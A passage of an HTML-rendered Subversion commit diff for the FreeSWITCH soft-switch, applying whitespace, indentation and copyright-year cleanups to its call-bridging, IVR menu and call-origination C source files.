</ins><span class="cx">                                                 !switch_channel_test_flag(caller_channel, CF_REDIRECT) && !switch_channel_test_flag(caller_channel, CF_TRANSFER) &&
</span><span class="cx">                                                 w_state != CS_EXECUTE) {
</span><span class="cx">                                                 const char *ext = switch_channel_get_variable(peer_channel, "original_destination_number");
</span><span class="lines">@@ -1169,16 +1169,16 @@
</span><span class="cx">                                         b_leg->skip_frames = DEFAULT_LEAD_FRAMES;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_set_private(peer_channel, "_bridge_", b_leg);
</span><span class="cx">                         switch_channel_set_state(peer_channel, CS_EXCHANGE_MEDIA);
</span><span class="cx">                         audio_bridge_thread(NULL, (void *) a_leg);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_clear_flag_recursive(caller_channel, CF_BRIDGE_ORIGINATOR);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_stop_broadcast(peer_channel);
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         while (switch_channel_get_state(peer_channel) == CS_EXCHANGE_MEDIA) {
</span><span class="cx">                                 switch_cond_next();
</span><span class="cx">                         }
</span><span class="lines">@@ -1192,7 +1192,7 @@
</span><span class="cx">                                         switch_channel_set_flag(peer_channel, CF_BRIDGED);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((cause = switch_channel_get_cause(caller_channel))) {
</span><span class="cx">                                 switch_channel_set_variable(peer_channel, SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE, switch_channel_cause2str(cause));
</span><span class="cx">                         }
</span><span class="lines">@@ -1204,7 +1204,7 @@
</span><span class="cx">                         if (switch_channel_down(peer_channel) && switch_true(switch_channel_get_variable(peer_channel, SWITCH_COPY_XML_CDR_VARIABLE))) {
</span><span class="cx">                                 switch_xml_t cdr;
</span><span class="cx">                                 char *xml_text;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_channel_wait_for_state(peer_channel, caller_channel, CS_DESTROY);
</span><span class="cx">
</span><span class="cx">                                 if (switch_ivr_generate_xml_cdr(peer_session, &cdr) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1242,25 +1242,25 @@
</span><span class="cx">         state = switch_channel_get_state(caller_channel);
</span><span class="cx">
</span><span class="cx">
</span><del>- if (!switch_channel_test_flag(caller_channel, CF_TRANSFER) && !switch_channel_test_flag(caller_channel, CF_REDIRECT) &&
- !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) && !a_leg->clean_exit && !inner_bridge) {
- if ((state != CS_EXECUTE && state != CS_SOFT_EXECUTE && state != CS_PARK && state != CS_ROUTING) ||
- (switch_channel_test_flag(peer_channel, CF_ANSWERED) && state < CS_HANGUP)) {
-                        
- if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
- switch_ivr_park_session(session);
- } else if ((var = switch_channel_get_variable(caller_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
- transfer_after_bridge(session, var);
- } else if (switch_channel_test_flag(peer_channel, CF_ANSWERED) &&
- switch_true(switch_channel_get_variable(caller_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
</del><ins>+        if (!switch_channel_test_flag(caller_channel, CF_TRANSFER) && !switch_channel_test_flag(caller_channel, CF_REDIRECT) &&
+                !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) && !a_leg->clean_exit && !inner_bridge) {
+                if ((state != CS_EXECUTE && state != CS_SOFT_EXECUTE && state != CS_PARK && state != CS_ROUTING) ||
+                        (switch_channel_test_flag(peer_channel, CF_ANSWERED) && state < CS_HANGUP)) {
+
+                        if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
+                                switch_ivr_park_session(session);
+                        } else if ((var = switch_channel_get_variable(caller_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
+                                transfer_after_bridge(session, var);
+                        } else if (switch_channel_test_flag(peer_channel, CF_ANSWERED) &&
+                                         switch_true(switch_channel_get_variable(caller_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
</ins><span class="cx">                                 switch_call_cause_t cause = switch_channel_get_cause(peer_channel);
</span><span class="cx">                                 if (cause == SWITCH_CAUSE_NONE) {
</span><span class="cx">                                         cause = SWITCH_CAUSE_NORMAL_CLEARING;
</span><span class="cx">                                 }
</span><del>- switch_channel_hangup(caller_channel, cause);
- }
- }
- }
</del><ins>+                                switch_channel_hangup(caller_channel, cause);
+                        }
+                }
+        }
</ins><span class="cx">
</span><span class="cx">         if (switch_channel_test_flag(caller_channel, CF_REDIRECT)) {
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_RESET)) {
</span><span class="lines">@@ -1272,7 +1272,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1350,7 +1350,7 @@
</span><span class="cx">
</span><span class="cx">                         cleanup_proxy_mode_a(originator_session);
</span><span class="cx">                         cleanup_proxy_mode_a(originatee_session);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* override transmit state for originator_channel to bridge to originatee_channel
</span><span class="cx">                          * install pointer to originatee_session into originator_channel
</span><span class="cx">                          * set CF_TRANSFER on both channels and change state to CS_SOFT_EXECUTE to
</span><span class="lines">@@ -1360,8 +1360,8 @@
</span><span class="cx">
</span><span class="cx">                         switch_channel_set_flag(originator_channel, CF_REDIRECT);
</span><span class="cx">                         switch_channel_set_flag(originatee_channel, CF_REDIRECT);
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         switch_channel_set_variable(originator_channel, SWITCH_UUID_BRIDGE, switch_core_session_get_uuid(originatee_session));
</span><span class="cx">                         switch_channel_set_variable(originator_channel, SWITCH_BRIDGE_CHANNEL_VARIABLE, switch_channel_get_name(originatee_channel));
</span><span class="cx">                         switch_channel_set_variable(originator_channel, SWITCH_BRIDGE_UUID_VARIABLE, switch_core_session_get_uuid(originatee_session));
</span><span class="lines">@@ -1370,7 +1370,7 @@
</span><span class="cx">                         switch_channel_set_variable(originatee_channel, SWITCH_BRIDGE_UUID_VARIABLE, switch_core_session_get_uuid(originator_session));
</span><span class="cx">                         switch_channel_set_variable(originatee_channel, SWITCH_SIGNAL_BOND_VARIABLE, switch_core_session_get_uuid(originator_session));
</span><span class="cx">
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         originator_cp = switch_channel_get_caller_profile(originator_channel);
</span><span class="cx">                         originatee_cp = switch_channel_get_caller_profile(originatee_channel);
</span><span class="cx">
</span><span class="lines">@@ -1412,7 +1412,7 @@
</span><span class="cx">                         switch_channel_set_state(originator_channel, state == CS_HIBERNATE ? CS_CONSUME_MEDIA : CS_HIBERNATE);
</span><span class="cx">                         state = switch_channel_get_state(originatee_channel);
</span><span class="cx">                         switch_channel_set_state(originatee_channel, state == CS_HIBERNATE ? CS_CONSUME_MEDIA : CS_HIBERNATE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx">                         switch_ivr_bridge_display(originator_session, originatee_session);
</span><span class="lines">@@ -1490,9 +1490,9 @@
</span><span class="cx">                 switch_channel_answer(rchannel);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-         switch_channel_set_state_flag(rchannel, CF_TRANSFER);
</del><ins>+        switch_channel_set_state_flag(rchannel, CF_TRANSFER);
</ins><span class="cx">         switch_channel_set_state(rchannel, CS_PARK);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (bchannel) {
</span><span class="cx">                 switch_channel_set_state_flag(bchannel, CF_TRANSFER);
</span><span class="cx">                 switch_channel_set_state(bchannel, CS_PARK);
</span><span class="lines">@@ -1506,8 +1506,8 @@
</span><span class="cx">                 switch_core_session_rwunlock(bsession);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* For Emacs:
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_menuc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_menu.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_menu.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_menu.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -69,7 +69,7 @@
</span><span class="cx">         struct switch_ivr_menu_action *next;
</span><span class="cx"> };
</span><span class="cx">
</span><del>-static switch_ivr_menu_t *switch_ivr_menu_find(switch_ivr_menu_t * stack, const char *name)
</del><ins>+static switch_ivr_menu_t *switch_ivr_menu_find(switch_ivr_menu_t *stack, const char *name)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_t *ret;
</span><span class="cx">         for (ret = stack; ret; ret = ret->next) {
</span><span class="lines">@@ -79,7 +79,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void switch_ivr_menu_stack_add(switch_ivr_menu_t ** top, switch_ivr_menu_t * bottom)
</del><ins>+static void switch_ivr_menu_stack_add(switch_ivr_menu_t ** top, switch_ivr_menu_t *bottom)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_t *ptr;
</span><span class="cx">
</span><span class="lines">@@ -94,7 +94,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t ** new_menu,
</span><del>-                                                                                                         switch_ivr_menu_t * main,
</del><ins>+                                                                                                         switch_ivr_menu_t *main,
</ins><span class="cx">                                                                                                          const char *name,
</span><span class="cx">                                                                                                          const char *greeting_sound,
</span><span class="cx">                                                                                                          const char *short_greeting_sound,
</span><span class="lines">@@ -106,10 +106,7 @@
</span><span class="cx">                                                                                                          const char *tts_voice,
</span><span class="cx">                                                                                                          int confirm_attempts,
</span><span class="cx">                                                                                                          int inter_timeout,
</span><del>-                                                                                                         int digit_len,
-                                                                                                         int timeout, int max_failures,
-                                                                                                         int max_timeouts,
-                                                                                                         switch_memory_pool_t *pool)
</del><ins>+                                                                                                         int digit_len, int timeout, int max_failures, int max_timeouts, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_t *menu;
</span><span class="cx">         uint8_t newpool = 0;
</span><span class="lines">@@ -209,13 +206,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         menu->buf = switch_core_alloc(menu->pool, 1024);
</span><del>-        
</del><ins>+
</ins><span class="cx">         *new_menu = menu;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t * menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_action_t *action;
</span><span class="cx">         uint32_t len;
</span><span class="lines">@@ -240,8 +237,8 @@
</span><span class="cx">         return SWITCH_STATUS_MEMERR;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t * menu,
-                                                                                                                         switch_ivr_menu_action_function_t * function, const char *arg, const char *bind)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t *menu,
+                                                                                                                         switch_ivr_menu_action_function_t *function, const char *arg, const char *bind)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_action_t *action;
</span><span class="cx">         uint32_t len;
</span><span class="lines">@@ -283,7 +280,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t play_and_collect(switch_core_session_t *session, switch_ivr_menu_t * menu, char *sound, switch_size_t need)
</del><ins>+static switch_status_t play_and_collect(switch_core_session_t *session, switch_ivr_menu_t *menu, char *sound, switch_size_t need)
</ins><span class="cx"> {
</span><span class="cx">         char terminator;
</span><span class="cx">         uint32_t len;
</span><span class="lines">@@ -316,7 +313,7 @@
</span><span class="cx">         args.buflen = len;
</span><span class="cx">
</span><span class="cx">         status = switch_ivr_play_file(session, NULL, sound_expanded, &args);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sound_expanded != sound) {
</span><span class="cx">                 switch_safe_free(sound_expanded);
</span><span class="cx">         }
</span><span class="lines">@@ -329,9 +326,9 @@
</span><span class="cx">
</span><span class="cx">         menu->ptr += menu_buf_len;
</span><span class="cx">         if (menu_buf_len < need) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "waiting for %u/%u digits t/o %d\n",
-                                                 (uint32_t)(menu->inlen - strlen(menu->buf)), (uint32_t)need, menu->inter_timeout);
-                status = switch_ivr_collect_digits_count(session, menu->ptr, menu->inlen - strlen(menu->buf),
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "waiting for %u/%u digits t/o %d\n",
+                                                 (uint32_t) (menu->inlen - strlen(menu->buf)), (uint32_t) need, menu->inter_timeout);
+                status = switch_ivr_collect_digits_count(session, menu->ptr, menu->inlen - strlen(menu->buf),
</ins><span class="cx">                                                                                                  need, "#", &terminator, menu_buf_len ? menu->inter_timeout : menu->timeout,
</span><span class="cx">                                                                                                  menu->inter_timeout, menu->timeout);
</span><span class="cx">         }
</span><span class="lines">@@ -359,7 +356,7 @@
</span><span class="cx">
</span><span class="cx">                         if (menu->confirm_key && *buf != '\0') {
</span><span class="cx">                                 if (*menu->confirm_key == *buf) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                          "approving digits '%s' via confirm key %s\n", menu->buf, menu->confirm_key);
</span><span class="cx">                                         break;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -370,7 +367,8 @@
</span><span class="cx">                         att--;
</span><span class="cx">                 }
</span><span class="cx">                 if (!att) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "rejecting digits '%s' via confirm key %s\n", menu->buf, menu->confirm_key);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "rejecting digits '%s' via confirm key %s\n", menu->buf,
+                                                         menu->confirm_key);
</ins><span class="cx">                         *menu->buf = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -390,7 +388,7 @@
</span><span class="cx">         switch_ivr_menu_t *menu;
</span><span class="cx">         switch_channel_t *channel;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (++stack->stack_count > 12) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Too many levels of recursion.\n");
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_FALSE, end);
</span><span class="lines">@@ -460,7 +458,7 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, "tts_engine", menu->tts_engine);
</span><span class="cx">                                         switch_channel_set_variable(channel, "tts_voice", menu->tts_voice);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (ap->re) {
</span><span class="cx">                                         switch_regex_t *re = NULL;
</span><span class="cx">                                         int ovector[30];
</span><span class="lines">@@ -548,7 +546,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (switch_test_flag(menu, SWITCH_IVR_MENU_FLAG_STACK)) {         /* top level */
</del><ins>+                        if (switch_test_flag(menu, SWITCH_IVR_MENU_FLAG_STACK)) {        /* top level */
</ins><span class="cx">                                 if (switch_test_flag(stack, SWITCH_IVR_MENU_FLAG_FALLTOMAIN)) {        /* catch the fallback and recover */
</span><span class="cx">                                         switch_clear_flag(stack, SWITCH_IVR_MENU_FLAG_FALLTOMAIN);
</span><span class="cx">                                         status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -559,7 +557,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 if (!match) {
</span><span class="cx">                         if (*menu->buf) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "IVR menu '%s' caught invalid input '%s'\n", menu->name, menu->buf);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "IVR menu '%s' caught invalid input '%s'\n", menu->name,
+                                                                 menu->buf);
</ins><span class="cx">                                 if (menu->invalid_sound) {
</span><span class="cx">                                         play_and_collect(session, menu, menu->invalid_sound, 0);
</span><span class="cx">                                 }
</span><span class="lines">@@ -584,8 +583,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
-        
</del><ins>+ end:
+
</ins><span class="cx">         stack->stack_count--;
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -606,7 +605,7 @@
</span><span class="cx">         int autocreated;
</span><span class="cx"> };
</span><span class="cx">
</span><del>-static switch_ivr_menu_xml_map_t *switch_ivr_menu_stack_xml_find(switch_ivr_menu_xml_ctx_t * xml_ctx, const char *name)
</del><ins>+static switch_ivr_menu_xml_map_t *switch_ivr_menu_stack_xml_find(switch_ivr_menu_xml_ctx_t *xml_ctx, const char *name)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_xml_map_t *map = (xml_ctx != NULL ? xml_ctx->map : NULL);
</span><span class="cx">         int rc = -1;
</span><span class="lines">@@ -618,8 +617,8 @@
</span><span class="cx">         return (rc == 0 ? map : NULL);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t switch_ivr_menu_stack_xml_add(switch_ivr_menu_xml_ctx_t * xml_ctx, const char *name, int action,
-                                                                                                         switch_ivr_menu_action_function_t * function)
</del><ins>+static switch_status_t switch_ivr_menu_stack_xml_add(switch_ivr_menu_xml_ctx_t *xml_ctx, const char *name, int action,
+                                                                                                         switch_ivr_menu_action_function_t *function)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="lines">@@ -656,13 +655,14 @@
</span><span class="cx">         const char *name;
</span><span class="cx">         switch_ivr_action_t action;
</span><span class="cx"> } iam[] = {
</span><del>-        { "menu-exit", SWITCH_IVR_ACTION_DIE },
-        { "menu-sub", SWITCH_IVR_ACTION_EXECMENU},
-        { "menu-exec-app", SWITCH_IVR_ACTION_EXECAPP},
-        { "menu-play-sound", SWITCH_IVR_ACTION_PLAYSOUND},
-        { "menu-back", SWITCH_IVR_ACTION_BACK},
-        { "menu-top", SWITCH_IVR_ACTION_TOMAIN},
-        { NULL, 0}
</del><ins>+        {
+        "menu-exit", SWITCH_IVR_ACTION_DIE}, {
+        "menu-sub", SWITCH_IVR_ACTION_EXECMENU}, {
+        "menu-exec-app", SWITCH_IVR_ACTION_EXECAPP}, {
+        "menu-play-sound", SWITCH_IVR_ACTION_PLAYSOUND}, {
+        "menu-back", SWITCH_IVR_ACTION_BACK}, {
+        "menu-top", SWITCH_IVR_ACTION_TOMAIN}, {
+        NULL, 0}
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action)
</span><span class="lines">@@ -670,7 +670,7 @@
</span><span class="cx">         int i;
</span><span class="cx">
</span><span class="cx">         if (!zstr(action_name)) {
</span><del>-                for(i = 0;;i++) {
</del><ins>+                for (i = 0;; i++) {
</ins><span class="cx">                         if (!iam[i].name) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -690,7 +690,7 @@
</span><span class="cx">         int i;
</span><span class="cx">
</span><span class="cx">         if (!zstr(action)) {
</span><del>-                for(i = 0;;i++) {
</del><ins>+                for (i = 0;; i++) {
</ins><span class="cx">                         if (!iam[i].name) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -740,30 +740,30 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t * xml_menu_ctx,
-                                                                                                                                         const char *name, switch_ivr_menu_action_function_t * function)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
+                                                                                                                                         const char *name, switch_ivr_menu_action_function_t *function)
</ins><span class="cx"> {
</span><span class="cx">         return switch_ivr_menu_stack_xml_add(xml_menu_ctx, name, -1, function);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t * xml_menu_ctx,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
</ins><span class="cx">                                                                                                                                 switch_ivr_menu_t ** menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="cx">         if (xml_menu_ctx != NULL && menu_stack != NULL && xml_menu != NULL) {
</span><del>-                const char *menu_name = switch_xml_attr_soft(xml_menu, "name");         /* if the attr doesn't exist, return "" */
-                const char *greet_long = switch_xml_attr(xml_menu, "greet-long");         /* if the attr doesn't exist, return NULL */
-                const char *greet_short = switch_xml_attr(xml_menu, "greet-short");         /* if the attr doesn't exist, return NULL */
-                const char *invalid_sound = switch_xml_attr(xml_menu, "invalid-sound");         /* if the attr doesn't exist, return NULL */
-                const char *exit_sound = switch_xml_attr(xml_menu, "exit-sound");         /* if the attr doesn't exist, return NULL */
-                const char *timeout = switch_xml_attr_soft(xml_menu, "timeout");         /* if the attr doesn't exist, return "" */
</del><ins>+                const char *menu_name = switch_xml_attr_soft(xml_menu, "name");        /* if the attr doesn't exist, return "" */
+                const char *greet_long = switch_xml_attr(xml_menu, "greet-long");        /* if the attr doesn't exist, return NULL */
+                const char *greet_short = switch_xml_attr(xml_menu, "greet-short");        /* if the attr doesn't exist, return NULL */
+                const char *invalid_sound = switch_xml_attr(xml_menu, "invalid-sound");        /* if the attr doesn't exist, return NULL */
+                const char *exit_sound = switch_xml_attr(xml_menu, "exit-sound");        /* if the attr doesn't exist, return NULL */
+                const char *timeout = switch_xml_attr_soft(xml_menu, "timeout");        /* if the attr doesn't exist, return "" */
</ins><span class="cx">                 const char *max_failures = switch_xml_attr_soft(xml_menu, "max-failures");        /* if the attr doesn't exist, return "" */
</span><span class="cx">                 const char *max_timeouts = switch_xml_attr_soft(xml_menu, "max-timeouts");
</span><del>-                const char *confirm_macro= switch_xml_attr(xml_menu, "confirm-macro");
-                const char *confirm_key= switch_xml_attr(xml_menu, "confirm-key");
-                const char *tts_engine= switch_xml_attr(xml_menu, "tts-engine");
-                const char *tts_voice= switch_xml_attr(xml_menu, "tts-voice");
</del><ins>+                const char *confirm_macro = switch_xml_attr(xml_menu, "confirm-macro");
+                const char *confirm_key = switch_xml_attr(xml_menu, "confirm-key");
+                const char *tts_engine = switch_xml_attr(xml_menu, "tts-engine");
+                const char *tts_voice = switch_xml_attr(xml_menu, "tts-voice");
</ins><span class="cx">                 const char *confirm_attempts = switch_xml_attr_soft(xml_menu, "confirm-attempts");
</span><span class="cx">                 const char *digit_len = switch_xml_attr_soft(xml_menu, "digit-len");
</span><span class="cx">                 const char *inter_timeout = switch_xml_attr_soft(xml_menu, "inter-digit-timeout");
</span><span class="lines">@@ -782,7 +782,7 @@
</span><span class="cx">                                                                          greet_long,
</span><span class="cx">                                                                          greet_short,
</span><span class="cx">                                                                          invalid_sound,
</span><del>-                                                                         exit_sound,
</del><ins>+                                                                         exit_sound,
</ins><span class="cx">                                                                          confirm_macro,
</span><span class="cx">                                                                          confirm_key,
</span><span class="cx">                                                                          tts_engine,
</span><span class="lines">@@ -790,14 +790,12 @@
</span><span class="cx">                                                                          atoi(confirm_attempts),
</span><span class="cx">                                                                          atoi(inter_timeout),
</span><span class="cx">                                                                          atoi(digit_len),
</span><del>-                                                                         atoi(timeout),
-                                                                         strlen(max_failures)? atoi(max_failures): 0,
-                                                                         strlen(max_timeouts)? atoi(max_timeouts): 0,
-                                                                         xml_menu_ctx->pool);                                                                        
</del><ins>+                                                                         atoi(timeout),
+                                                                         strlen(max_failures) ? atoi(max_failures) : 0, strlen(max_timeouts) ? atoi(max_timeouts) : 0, xml_menu_ctx->pool);
</ins><span class="cx">                 /* set the menu_stack for the caller */
</span><span class="cx">                 if (status == SWITCH_STATUS_SUCCESS && *menu_stack == NULL) {
</span><span class="cx">                         *menu_stack = menu;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (xml_menu_ctx->autocreated) {
</span><span class="cx">                                 switch_set_flag(menu, SWITCH_IVR_MENU_FLAG_FREEPOOL);
</span><span class="cx">                         }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_originatec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_originate.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_originate.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_originate.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -151,9 +151,9 @@
</span><span class="cx">         } else {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_ivr_sleep(collect->session, 0, SWITCH_TRUE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(collect->key, "exec")) {
</span><span class="cx">                 char *data;
</span><span class="cx">                 char *app_name, *app_data;
</span><span class="lines">@@ -203,7 +203,8 @@
</span><span class="cx">                         args.buflen = sizeof(buf);
</span><span class="cx">                         status = switch_ivr_play_file(collect->session, NULL, collect->file, &args);
</span><span class="cx">                         if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(collect->session), SWITCH_LOG_ERROR, "%s Error Playing File!", switch_channel_get_name(channel));
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(collect->session), SWITCH_LOG_ERROR, "%s Error Playing File!",
+                                                                 switch_channel_get_name(channel));
</ins><span class="cx">                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="lines">@@ -217,10 +218,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>- wbreak:
</del><ins>+ wbreak:
</ins><span class="cx">
</span><span class="cx">         switch_core_session_rwunlock(collect->session);
</span><del>-        UNPROTECT_INTERFACE(application_interface);        
</del><ins>+        UNPROTECT_INTERFACE(application_interface);
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -236,13 +237,10 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int check_per_channel_timeouts(originate_global_t *oglobals,
</span><del>-                                                                         originate_status_t *originate_status,
-                                                                         int max,
-                                                                         time_t start,
-                                                                         switch_call_cause_t *force_reason)
</del><ins>+                                                                         originate_status_t *originate_status, int max, time_t start, switch_call_cause_t *force_reason)
</ins><span class="cx"> {
</span><del>-        int x = 0,i,delayed_channels=0,active_channels=0;
-        uint32_t early_exit_time=0, delayed_min=0;
</del><ins>+        int x = 0, i, delayed_channels = 0, active_channels = 0;
+        uint32_t early_exit_time = 0, delayed_min = 0;
</ins><span class="cx">
</span><span class="cx">         time_t elapsed = switch_epoch_time_now(NULL) - start;
</span><span class="cx">
</span><span class="lines">@@ -250,7 +248,7 @@
</span><span class="cx">                 return 0;
